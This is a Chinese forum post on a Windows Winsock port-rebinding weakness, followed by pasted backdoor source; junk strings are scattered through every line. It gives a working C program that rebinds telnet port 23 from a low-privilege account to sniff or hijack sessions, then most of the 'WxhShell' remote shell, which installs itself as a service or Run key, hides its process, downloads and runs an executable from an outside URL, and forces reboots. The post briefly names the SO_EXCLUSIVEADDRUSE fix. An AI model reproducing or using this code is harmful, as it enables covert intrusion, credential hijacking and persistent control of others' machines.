社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13346阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1jh^-d5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |D$U{5}Mv  
"6Nma)8  
  saddr.sin_family = AF_INET; .Ig`v  
>9esZA^';  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @8DB Ln w  
1MRt_*N4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l4O}>#  
uDafPTF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }z,4IHNn  
"#rlL^9v  
  这意味着什么?意味着可以进行如下的攻击: ='pssdB  
HGC>jeWd_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |5F]y"Nb  
#`:60#l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) / ]>&OSV  
xRv1zHZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xaoaZ3Ko  
> 9JzYI^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HOsq _)K  
:?RooJ~#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7eQ7\,^H  
er+m:XuV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4eU};Pv  
}Da8S|)H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W7l/{a @  
YXg:cXE8e  
  #include 6y%BJU.I  
  #include 6@wnF>'/\  
  #include (vz)GrH>  
  #include    UrH^T;#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '#4ya=Ww  
  int main()  3i?{E ^  
  { ^KF  
  WORD wVersionRequested; Z #w1,n88  
  DWORD ret; J^ P/2a#a  
  WSADATA wsaData; }&y>g0$@  
  BOOL val; O(~`fN?n  
  SOCKADDR_IN saddr; ?j ?{} Z  
  SOCKADDR_IN scaddr; P;MS%32  
  int err; b\U Q6 V  
  SOCKET s; ^-~.L: }q  
  SOCKET sc; @D9c  
  int caddsize; gO*cX&  
  HANDLE mt; %ghQ#dZ]&  
  DWORD tid;   MO9}It g  
  wVersionRequested = MAKEWORD( 2, 2 ); EK@yzJ%  
  err = WSAStartup( wVersionRequested, &wsaData ); #bsRL8@  
  if ( err != 0 ) { x2Y1B  
  printf("error!WSAStartup failed!\n"); E0ud<'3<  
  return -1; :n0(gB  
  } QMy;?,  
  saddr.sin_family = AF_INET; ]pB0bJAt  
   ~< Gs<c}z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]AERi] B  
z;#}u C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z|+L>O-8  
  saddr.sin_port = htons(23); K?-K<3]9f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m?;)C~[  
  { `r_qvrC  
  printf("error!socket failed!\n"); %+gze|J  
  return -1; "Z &qOQg%3  
  } 9.zy`}  
  val = TRUE; |rW}s+Kcr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $d,30hK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Eqp?cKrji  
  { XLqS{r~?  
  printf("error!setsockopt failed!\n"); ,EcmMI^A  
  return -1; >p\IC  
  } <g>_#fz"K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &m>`+uVBP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v}xz`]MW<,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ppb]RN|)  
FxM`$n~K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %3fHitCikc  
  { \dIIZSN  
  ret=GetLastError(); u\Fq\_  
  printf("error!bind failed!\n"); ptb t  
  return -1; +wD--24!(  
  } q$:T<mFK$  
  listen(s,2); b'M g  
  while(1) SQ>.P  
  { YXrTm[P  
  caddsize = sizeof(scaddr); S$BwOx3QF  
  //接受连接请求 0RtqqNFD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G A2S  
  if(sc!=INVALID_SOCKET) ^q FFF3<8  
  { fcnbPO0M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5y}}?6n+  
  if(mt==NULL) 7k+UCi u>  
  { Pk~P  
  printf("Thread Creat Failed!\n"); h(GgkTj4+  
  break; aWOApXJ  
  } j\@s pbE@  
  } <\X4_sdy  
  CloseHandle(mt); qIA!m .GC  
  } !x;T2l  
  closesocket(s); z[z'.{;D  
  WSACleanup(); `hM ]5;0  
  return 0; =]-!  
  }   (yc$W9  
  DWORD WINAPI ClientThread(LPVOID lpParam) F~W*"i+EZ  
  { _P,fJ`w   
  SOCKET ss = (SOCKET)lpParam; (V{bfDu&h@  
  SOCKET sc; f[%\LHq  
  unsigned char buf[4096]; ;`X-.45  
  SOCKADDR_IN saddr; p7zHP  
  long num; kj@#oLd%  
  DWORD val; J>!p^|S{  
  DWORD ret; VI" ,E}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uDH)0#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sGMC$%e}  
  saddr.sin_family = AF_INET; rIW`(IG_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iu*u|e  
  saddr.sin_port = htons(23); *v l_3S5_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "Q2[A]4E  
  { m]7Y )&3  
  printf("error!socket failed!\n"); AGK+~EjL@  
  return -1; Fypqf|  
  } P*I\FV  
  val = 100; [RC|W%<Z>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5A~w_p*}  
  { XRP/E_4  
  ret = GetLastError(); )z7. S"U  
  return -1; /\ ~{  
  } $dorE ~T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]y-r I  
  { mUcHsCszH  
  ret = GetLastError(); c7 wza/r>  
  return -1; uZ<Bfrc  
  } wT*`Od8w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;E* ^AW  
  { YJ rK oK}  
  printf("error!socket connect failed!\n"); ``aoLQc`  
  closesocket(sc); X903;&Cim  
  closesocket(ss); [h%_`8z  
  return -1; .(1=iL_3e  
  } .}Bb :*@  
  while(1) nez5z:7F  
  { (z^2LaM `8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; h/Y9uYn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D=9x/ ) *G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pvbw>k;  
  num = recv(ss,buf,4096,0); ,Z MYCl]  
  if(num>0) &(Xp_3PO  
  send(sc,buf,num,0); a`/[\K6  
  else if(num==0) nqiy)ZN#R  
  break; 1DZGb)OU  
  num = recv(sc,buf,4096,0); aL#b8dCy'  
  if(num>0) 2<u vz<B  
  send(ss,buf,num,0); :4(7W[r6  
  else if(num==0) >A2& Mjo  
  break; F\,3z7s  
  } v,g,c`BjK  
  closesocket(ss); "uZ'oN  
  closesocket(sc); [0)iY%^  
  return 0 ; M{O2O(  
  } I>9rfmmTI  
\ZCc~muR  
.z+QyNc:  
========================================================== ^z0[{1  
Nm\I_wjX  
下边附上一个代码,,WXhSHELL Oe2Tmvl  
W]6Y buP:  
========================================================== mRQ F5W6  
z%mM#X  
#include "stdafx.h" Q?[k>fu0  
f$(w>B7..  
#include <stdio.h> IGv>0LOd@  
#include <string.h> `33h4G  
#include <windows.h> @X1>Wv|[  
#include <winsock2.h> OaU$ [Z'8  
#include <winsvc.h>  0m*0I >  
#include <urlmon.h> Q#:,s8TW[  
#c?\(qjWA  
#pragma comment (lib, "Ws2_32.lib") oX?2fu-  
#pragma comment (lib, "urlmon.lib") _NqEhf:8  
8i X?4qj{P  
#define MAX_USER   100 // 最大客户端连接数 <=19KSGFt  
#define BUF_SOCK   200 // sock buffer H6'xXS  
#define KEY_BUFF   255 // 输入 buffer `[o^w(l:5@  
wXNFL9F8  
#define REBOOT     0   // 重启 C7qbofoV  
#define SHUTDOWN   1   // 关机 zFQxW4G  
if^\Gs$  
#define DEF_PORT   5000 // 监听端口 |q5\1}@:  
|? r,W ~9`  
#define REG_LEN     16   // 注册表键长度 ?CmW{9O  
#define SVC_LEN     80   // NT服务名长度 >@T ZYdl  
qx`*]lX  
// 从dll定义API UXIq>[2Z1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q/%f2U%4:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7CwG(c/5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pN%L3?2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `n5|4yaG~  
(A(d]l  
// wxhshell配置信息 hnG'L*HooE  
struct WSCFG { nC[L"%E|se  
  int ws_port;         // 监听端口 s "*Cb*  
  char ws_passstr[REG_LEN]; // 口令 DSET!F;PG  
  int ws_autoins;       // 安装标记, 1=yes 0=no \[Rh\v&  
  char ws_regname[REG_LEN]; // 注册表键名 5 QMu=/  
  char ws_svcname[REG_LEN]; // 服务名 Dc BTW+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y.Gr(]tk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WERK JA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O '$:wc#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YSv\T '3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CQ3;NY=o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 = #ocp  
my*UN_]  
}; fn;7Nf7{  
xPsuDi8u  
// default Wxhshell configuration 2r[Q$GPM<  
struct WSCFG wscfg={DEF_PORT, ]6$NU [  
    "xuhuanlingzhe", _=4Dh/Dv  
    1, R.> /%o  
    "Wxhshell", Isoqs(Oi  
    "Wxhshell", <7)Vj*VxC  
            "WxhShell Service",  dsJ}C|N  
    "Wrsky Windows CmdShell Service", JJ7-$h'0q  
    "Please Input Your Password: ", ~Bj-n6QDE  
  1, 8(uxz84ce  
  "http://www.wrsky.com/wxhshell.exe", f9OVylm  
  "Wxhshell.exe" 3(vI{[yhT  
    }; Rn-L:o@?  
`\O[9.B  
// 消息定义模块 B8[H><)o\y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mL3'/3-7:V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V^?+|8_(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #T !YFMh;  
char *msg_ws_ext="\n\rExit."; %{o5 }TqD  
char *msg_ws_end="\n\rQuit."; ?^,GaZ^V  
char *msg_ws_boot="\n\rReboot..."; Vs9fAAXS4  
char *msg_ws_poff="\n\rShutdown..."; gEPCXf  
char *msg_ws_down="\n\rSave to "; ;k!Ej-(  
9$#2+G!J  
char *msg_ws_err="\n\rErr!"; |$6Gp Aq!  
char *msg_ws_ok="\n\rOK!"; bumS>:  
Sy8o/-  
char ExeFile[MAX_PATH]; a=C?fh  
int nUser = 0; gsT%_2>CL  
HANDLE handles[MAX_USER]; %;ny  
int OsIsNt; yK[ ~(!c5  
?WUu@Z  
SERVICE_STATUS       serviceStatus; ) c+ ZQq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F>!fu.Ws  
~#) DJ  
// 函数声明 {e>}.R  
int Install(void); srg#<oH|{c  
int Uninstall(void); .,tf[w 71  
int DownloadFile(char *sURL, SOCKET wsh); Z\LW<**b  
int Boot(int flag); MF%9  
void HideProc(void); #l{qb]n]  
int GetOsVer(void); ~~wz05oRG  
int Wxhshell(SOCKET wsl); ii{5z;I]X  
void TalkWithClient(void *cs); *3. ]  
int CmdShell(SOCKET sock); LTFA2X&E=  
int StartFromService(void); Nu|?s-   
int StartWxhshell(LPSTR lpCmdLine); lD 9'^J  
s}/YcUK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bha_bj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U .G*C  
H:p(C?tk{  
// 数据结构和表定义 a-8~f8na{(  
SERVICE_TABLE_ENTRY DispatchTable[] = 5?6 ATP:[  
{ gp(w6 :w  
{wscfg.ws_svcname, NTServiceMain}, Rp9uUJ 6o  
{NULL, NULL} uw;s](~E  
}; K;S&91V)=  
^VoQGP/cl  
// 自我安装 >Li ~Og@  
int Install(void) wk)gxn1A,  
{ ZLo3 0*  
  char svExeFile[MAX_PATH]; &/Tx@j^.C  
  HKEY key; <>2QDI6_  
  strcpy(svExeFile,ExeFile); P_Po g^  
IKAF%0[R|j  
// 如果是win9x系统,修改注册表设为自启动 G}] ZZ  
if(!OsIsNt) { 6n;ewl}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P'Rr5Xa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sOVaQ&+y  
  RegCloseKey(key); x{RTI#a.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n |.- :Zy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CbK7="48  
  RegCloseKey(key); *)u_m h  
  return 0; 9l OUE  
    } QAcvv 0Hv  
  } vjbot^W9  
} | ql!@M(p  
else { `| R8WM  
@AVx4,!>[  
// 如果是NT以上系统,安装为系统服务 `4Nc(aUr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r|rV1<d  
if (schSCManager!=0) Gf]oRNP,N  
{ /sJk[5!z  
  SC_HANDLE schService = CreateService vad" N  
  ( 7|65;jm+  
  schSCManager, ]P]lG-  
  wscfg.ws_svcname, _BcB@a  
  wscfg.ws_svcdisp, ( |O;Ci  
  SERVICE_ALL_ACCESS, 6o6!O l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N9{ivq|fO  
  SERVICE_AUTO_START, C:gE   
  SERVICE_ERROR_NORMAL, zz02F+H$Y  
  svExeFile, ki}Uw#  
  NULL, (;Lz `r'  
  NULL, TvM{ QGN  
  NULL, }R}tIC-:  
  NULL, t}NxD`8  
  NULL bFJmXx&  
  ); aU#8W.~  
  if (schService!=0) o{>hOs &  
  { 5Ko "-  
  CloseServiceHandle(schService); }qb z&%R  
  CloseServiceHandle(schSCManager); ilFM+x@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V@cRJ3ZF  
  strcat(svExeFile,wscfg.ws_svcname); Q"Q|]f*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z(U&0GH`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7e}p:Vfp  
  RegCloseKey(key); MZ0uc2L=  
  return 0; :!{aey  
    } ?9=yo5M}  
  } 1Rl`}7Km  
  CloseServiceHandle(schSCManager); h1)p{ 5}H  
} _k6N(c2Nd  
} HjnHl-  
zU1rjhv+  
return 1; Q5ohaxjF  
} 5zEl`h  
}3)$aI_  
// 自我卸载 P[gk9{sv  
int Uninstall(void) e(!a~{(kq%  
{ 7d'@Z2%J0  
  HKEY key; lzuPE,h  
:4)mv4Q  
if(!OsIsNt) { |vEfE{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &TC  
  RegDeleteValue(key,wscfg.ws_regname); %tQIKjsVaY  
  RegCloseKey(key); o"'VI4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QRt(?96  
  RegDeleteValue(key,wscfg.ws_regname); 3OM\R%M  
  RegCloseKey(key); 'OF)`5sj  
  return 0; GI6 EZ}.MZ  
  } B=n]N+  
} /dWuHS  
} LJI&j \  
else { Snh\Fgdz  
NK,)"WE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !pDS*{)E  
if (schSCManager!=0) tx5@r;  
{ pRt )B`#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Txp~&a03  
  if (schService!=0) uOougSBV,  
  { )Dqv&^  
  if(DeleteService(schService)!=0) { P#Eqe O  
  CloseServiceHandle(schService); F}.Af=<Q  
  CloseServiceHandle(schSCManager); g:f0K2)\r:  
  return 0; -,XS2[  
  } uy`U1>  
  CloseServiceHandle(schService); >8>.o[Q&  
  } Bv9;q3]z-  
  CloseServiceHandle(schSCManager); #2cH.`ty  
} !$_mWz  
} )03.6 Pvs  
?(g kk YI  
return 1; 9N'$Y*. d<  
} %t<Y6*g  
]FFU,me2  
// 从指定url下载文件 YW/<. 0rI  
int DownloadFile(char *sURL, SOCKET wsh) RA\H?1;8C  
{ M{nz~W80  
  HRESULT hr; 4)XN1r:  
char seps[]= "/"; E]ZM`bex&  
char *token; 4J I;NN  
char *file; x/9`2X`~  
char myURL[MAX_PATH]; f_z2d+  
char myFILE[MAX_PATH]; TFM}P  
8#kFS@  
strcpy(myURL,sURL); kg !@i7  
  token=strtok(myURL,seps); ^[ id8  
  while(token!=NULL) .Hgiru&  
  { # ^%'*/z  
    file=token; ,,{Uz)>'W6  
  token=strtok(NULL,seps); FPcgQ v;p  
  } k+s<;{  
wvUph[j}J  
GetCurrentDirectory(MAX_PATH,myFILE); Qh{=Z^r  
strcat(myFILE, "\\"); jj.yB#T  
strcat(myFILE, file); %!eK"DKG^  
  send(wsh,myFILE,strlen(myFILE),0); G`)I _uO  
send(wsh,"...",3,0); _~_Hup  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ro?.,c T  
  if(hr==S_OK) bk>M4l61  
return 0; 6 QxLHQA  
else {AcKBi b  
return 1; f'#7i@Je  
<p<gx*%  
} $jw!DrE  
bBDgyFSI <  
// 系统电源模块 *1elUI2Rg  
int Boot(int flag) \k g2pF[V  
{ Ke\?;1+  
  HANDLE hToken; QY{f=  
  TOKEN_PRIVILEGES tkp; Y RA[qc  
9OTw6  
  if(OsIsNt) { QU417EV'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6aj)Fe'2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b$B5sKQ  
    tkp.PrivilegeCount = 1; ls/:/x(5d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \l]jX: 9(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;w@:  
if(flag==REBOOT) { @B1rtw6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bJe^x;J9  
  return 0; qA03EU  
} !E$S&zVMQ  
else { %K/rPhU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =fRP9`y  
  return 0; 0"<g g5  
} {N _v4})  
  } ;f6G&>p  
  else { ,a?em'=  
if(flag==REBOOT) { Ozn7C?\*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) os#j;C]l  
  return 0; Pp26UWW  
} B8;ZOLAU  
else { (6.0gB$aTu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2{&|%1Jg  
  return 0; JQ.ZAhv  
} R;,&CQUl  
} OP<@Xz  
i{ %~&!  
return 1; Gb8LW,$IT-  
} p 6jR,m8S  
ty7a&>G  
// win9x进程隐藏模块 }F@`A?k  
void HideProc(void) aY"qEH7]  
{ JfC.U,7Nc  
D./e|i?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y`c\{&M6  
  if ( hKernel != NULL ) i?mDR$X:  
  { )B8[w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]C]tLJ!M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "\> <UJ  
    FreeLibrary(hKernel); TmO\!`  
  } ~6@~fhu  
Wp >W?'`  
return; Url8Z\;aM  
} 2t[inzn=E  
Tm` QZh3  
// 获取操作系统版本 EB>laZy>  
int GetOsVer(void) a@m>S$S  
{ yqCy`TK8  
  OSVERSIONINFO winfo; r:YAn^Lg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +mAMCM2N  
  GetVersionEx(&winfo); M0_K%Z(zaR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fzSZ>I0R  
  return 1; "jAV7lP  
  else qr6WSBc  
  return 0; >-oa`im+  
} AKL~F|t  
zwAuF%U  
// 客户端句柄模块 \'1%"JWK   
int Wxhshell(SOCKET wsl) 2]Y (<PC  
{ eW\_9E)cY  
  SOCKET wsh; 1 w\Y ._jK  
  struct sockaddr_in client; d9sgk3K  
  DWORD myID; @|5B  
3)GXu>) t  
  while(nUser<MAX_USER) =m-_0xo  
{ mflI>J=g  
  int nSize=sizeof(client); kqHh@]Z0'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [IW@ mn>  
  if(wsh==INVALID_SOCKET) return 1; |5g*pXu{  
_+^3<MT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t,MK#Ko  
if(handles[nUser]==0) ~ |!q>z  
  closesocket(wsh); TTqOAo[-Z  
else K$(U>D|  
  nUser++; $H5PB' b  
  } 21cIWvy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e {c.4'q  
\ iP[iE=  
  return 0; !3T x\a`?/  
} %/'[GC'y!  
9:BGA/?  
// 关闭 socket -=g`7^qa>  
void CloseIt(SOCKET wsh) +>I4@1qC-|  
{ yy #Xs:/  
closesocket(wsh); 3b PVKsY  
nUser--; s]B^Sz=  
ExitThread(0); Ha 3XH_  
} wmoOp;C  
ClfpA?vv  
// 客户端请求句柄 gc(1,hv  
void TalkWithClient(void *cs) _q8s 7H  
{ qo}kwwWN;  
>EMCG.**  
  SOCKET wsh=(SOCKET)cs; pp{%\td  
  char pwd[SVC_LEN]; "@ox=  
  char cmd[KEY_BUFF]; r Ssv^W+  
char chr[1]; B,gQeW&  
int i,j; ;=e A2  
WG^D$L:  
  while (nUser < MAX_USER) { $G=\i>R.  
`|PxEif+J  
if(wscfg.ws_passstr) { (@&|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IA+>dr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bH,Jddc  
  //ZeroMemory(pwd,KEY_BUFF); +_`F@^R_   
      i=0; }f({03$  
  while(i<SVC_LEN) { JG4&eK$-  
{8"W  
  // 设置超时 7l:H~"9r  
  fd_set FdRead; pXQ&2s$  
  struct timeval TimeOut; %Z}dY~:  
  FD_ZERO(&FdRead); "#m*`n  
  FD_SET(wsh,&FdRead); ME |"pJ  
  TimeOut.tv_sec=8; *Pq`~W_M7  
  TimeOut.tv_usec=0; s5z@`M5'm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JLG5`{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IGI2).$[  
_VMJq9.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j}ruXg  
  pwd=chr[0]; U'#{v7u  
  if(chr[0]==0xd || chr[0]==0xa) { w{UU(  
  pwd=0; wTTQIo 60  
  break; LpF6e9V\Wp  
  } |]B]0J#_  
  i++; zd;xbH//)b  
    } F,EHZ,<V  
|Z "h q  
  // 如果是非法用户,关闭 socket X0C\87xfG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wicg8[T=B  
} WK<pZ *x  
uZ'5&k96T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ll5Kd=3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mV'd9(s?  
L ~;_R*Th  
while(1) { R'80{  
=|G PSRQ  
  ZeroMemory(cmd,KEY_BUFF); JE?XZp@V  
?dTz?C.w  
      // 自动支持客户端 telnet标准   K+GjJ8  
  j=0; CP?\'a"Kt  
  while(j<KEY_BUFF) { g1}RA@9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  T  
  cmd[j]=chr[0]; "fmJ;W;#1  
  if(chr[0]==0xa || chr[0]==0xd) { O=+C Kx@  
  cmd[j]=0; ]9x30UXLwD  
  break; r2hm`]\8M  
  } 4b<:67 %  
  j++; 66BsUA.h  
    } f j"S|]e  
RZz].Nx  
  // 下载文件 ?Dfgyz  
  if(strstr(cmd,"http://")) { S ":-5S6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I015)vFc  
  if(DownloadFile(cmd,wsh)) 3 Zbvf^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jUfc&bi3  
  else QP qa\87  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8,H  
  } fNlUc  
  else { }LE/{]A  
$U6)km4  
    switch(cmd[0]) { gmM79^CEF  
  WIb U^WJ0  
  // 帮助 q= tDMK'h  
  case '?': { /Db~-$K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V1Fdt+#  
    break; 3|~(9b{+  
  } &KD m5p  
  // 安装 z?K+LTf8  
  case 'i': { a u#IA  
    if(Install()) O!|:ZMjF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;1o"Oij  
    else cy? EX~s4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{ojla(  
    break; +tOV+6Uz  
    } |w:\fK[  
  // 卸载 ABx0IdOcI  
  case 'r': { #kxg|G[Ol  
    if(Uninstall()) iveWau292  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1.KRe{M  
    else W;o\}irep  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~xA' -N/  
    break; \BS^="AcpP  
    } ZOU$do>O  
  // 显示 wxhshell 所在路径 V%3K")  
  case 'p': { 0z%]HlPg  
    char svExeFile[MAX_PATH]; V-)q&cbW]q  
    strcpy(svExeFile,"\n\r"); -\r*D#aHBN  
      strcat(svExeFile,ExeFile); qf'uXH  
        send(wsh,svExeFile,strlen(svExeFile),0); > ^D10Nf*  
    break; F+}MW/ra@  
    } *O+N4tq  
  // 重启 G<>`O;i  
  case 'b': { o^lKM?t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I*'QD)  
    if(Boot(REBOOT)) fD V:ueO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xeZ,}YP)  
    else { )<!y_;$A  
    closesocket(wsh); 0Y[mh@(  
